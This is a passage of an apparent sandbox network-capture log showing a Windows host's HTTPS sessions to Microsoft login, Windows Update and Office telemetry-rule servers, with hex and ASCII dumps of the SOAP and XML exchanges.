2024-12-02 03:58:08 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 03:58:09 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 03:57:08 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C534_BL2 x-ms-request-id: 2729dd43-bfe6-42b4-9cd2-9e0124efa496 PPServer: PPV: 30 H: BL02EPF0001D9F9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 03:58:08 GMT Connection: close Content-Length: 11410
2024-12-02 03:58:09 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49830	20.190.181.3	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:11 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-12-02 03:58:11 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 03:58:12 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 03:57:11 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C534_BAY x-ms-request-id: bc19b2fa-7332-453c-8870-f9ab44b9227e PPServer: PPV: 30 H: PH1PEPF0001B837 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 03:58:11 GMT Connection: close Content-Length: 11410
2024-12-02 03:58:12 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49832	20.190.181.3	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:14 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4762 Host: login.live.com
2024-12-02 03:58:14 UTC	4762	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 03:58:14 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 03:57:14 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C534_BAY x-ms-request-id: dc84a08a-9659-4fbd-a09a-d896248a645e PPServer: PPV: 30 H: PH1PEPF00011EA6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 03:58:14 GMT Connection: close Content-Length: 10197
2024-12-02 03:58:14 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49834	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:42 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SR6ad2ndVEhoOwy&MD=Amvofuh+ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-02 03:58:42 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 60d5bafa-ed0e-4142-8eb9-4def9c495be5 MS-RequestId: 14d8f66f-1605-4abc-9525-e8bf3f0613a4 MS-CV: JXx/SCPp4UOL3UqU.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 02 Dec 2024 03:58:41 GMT Connection: close Content-Length: 30005
2024-12-02 03:58:42 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-02 03:58:42 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:44 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:45 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:45 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 29 Nov 2024 23:15:49 GMT ETag: "0x8DD10CBC2E3B852" x-ms-request-id: 82d9e4b2-501e-007b-3a87-435ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035845Z-174f7845968j6t2phC1EWRcfe80000001450000000000y8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:45 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-02 03:58:45 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-02 03:58:45 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-02 03:58:45 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-02 03:58:45 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-02 03:58:45 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-02 03:58:45 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-02 03:58:46 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
